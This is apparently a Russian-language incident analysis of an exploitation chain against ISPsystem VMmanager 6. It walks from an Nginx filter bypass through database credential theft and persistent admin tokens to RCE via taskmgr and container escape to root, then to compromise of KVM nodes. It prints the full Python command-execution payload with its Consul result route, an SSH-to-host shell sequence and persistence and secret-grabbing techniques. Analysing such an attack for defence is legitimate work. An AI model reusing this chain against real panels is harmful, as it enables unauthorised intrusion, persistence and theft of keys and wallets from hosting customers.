Отчет про VMmanager от ИИ

# Технический разбор уязвимости и цепочки RCE в VMmanager 6

Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.

---

## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)

Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.

Схема прохождения запроса внутри контейнера `input`:

1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:

```nginx
if ($request_method != "GET") {
    rewrite ^(/.*)$ /write$1 last;
}
```

После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:

```nginx
location /write/{{ $service_endpoint }}/ {
    rewrite ^ /write$request_uri;
    rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
    proxy_pass http://{{$service_name}}_writer_upstream$uri;
    ...
}
```

### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)

Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:

```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
    return 403;
}
```

В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.

В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.

---

## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`

Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:

```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```

Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:

1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
   - В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
   - Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
   - Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
   - Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.

После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.

---

## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)

Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`

Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).

### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)

Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:

1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
   - `X-VMmanager-Result: <result_token>`
   - `X-VMmanager-Exit-Code: <return_code>`
   - `X-VMmanager-Timed-Out: 0|1`
   - `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.

### Полный исходный код Python-эксплойта (из `bin_args`)

```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request

command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])

timed_out = False
with tempfile.TemporaryFile() as capture:
    process = subprocess.Popen(
        ["/bin/sh", "-c", command],
        stdin=subprocess.DEVNULL,
        stdout=capture,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        return_code = process.wait(timeout=command_timeout)
    except subprocess.TimeoutExpired:
        timed_out = True
        os.killpg(process.pid, signal.SIGKILL)
        return_code = process.wait()
    capture.seek(0)
    output = capture.read(max_output + 1)

truncated = len(output) > max_output
if truncated:
    output = output[:max_output]
if timed_out:
    output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code

expected_path = "/result/" + result_token
check_id = "service:" + service_id

class ResultHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if urllib.parse.urlsplit(self.path).path != expected_path:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(output)))
        self.send_header("X-VMmanager-Result", result_token)
        self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
        self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
        self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(output)
        self.wfile.flush()
        self.server.result_delivered = True

    def log_message(self, _format, *_args):
        return

class ResultServer(http.server.HTTPServer):
    allow_reuse_address = True

server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False

route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    _consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
    route_socket.settimeout(8)
    route_socket.connect((_consul_ip, 8500))
    service_address = route_socket.getsockname()[0]
finally:
    route_socket.close()

registration = json.dumps({
    "ID": service_id,
    "Name": service_name,
    "Tags": ["backend", "reader"],
    "Address": service_address,
    "Port": server.server_address[1],
    "Check": {
        "CheckID": check_id,
        "Name": service_name + " temporary result route",
        "TTL": "30s",
        "Status": "passing",
        "DeregisterCriticalServiceAfter": "1m",
    },
}).encode()

import signal as _wsignal
def _walarm(_sig, _frm):
    raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))

def consul_put(path, data=b""):
    request = urllib.request.Request(
        "http://consul:8500" + path,
        data=data,
        method="PUT",
        headers={"Content-Type": "application/json"},
    )
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
    with opener.open(request, timeout=5) as response:
        response.read()

registered = False
try:
    consul_put("/v1/agent/service/register", registration)
    registered = True
    deadline = time.monotonic() + serve_timeout
    next_heartbeat = 0.0
    while not server.result_delivered and time.monotonic() < deadline:
        if time.monotonic() >= next_heartbeat:
            consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
            next_heartbeat = time.monotonic() + 10.0
        server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
        server.handle_request()
finally:
    server.server_close()
    if registered:
        try:
            consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
        except Exception:
            pass

if not server.result_delivered:
    raise SystemExit(124)
if timed_out:
    raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```

---

## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)

Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):

1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):

```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 \
    -i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```

---

## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)

Получив `root` на хосте панели управления:

1. **Закрепление на хосте панели**:
   - Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
   - В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
   - Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
   - Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
   - На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.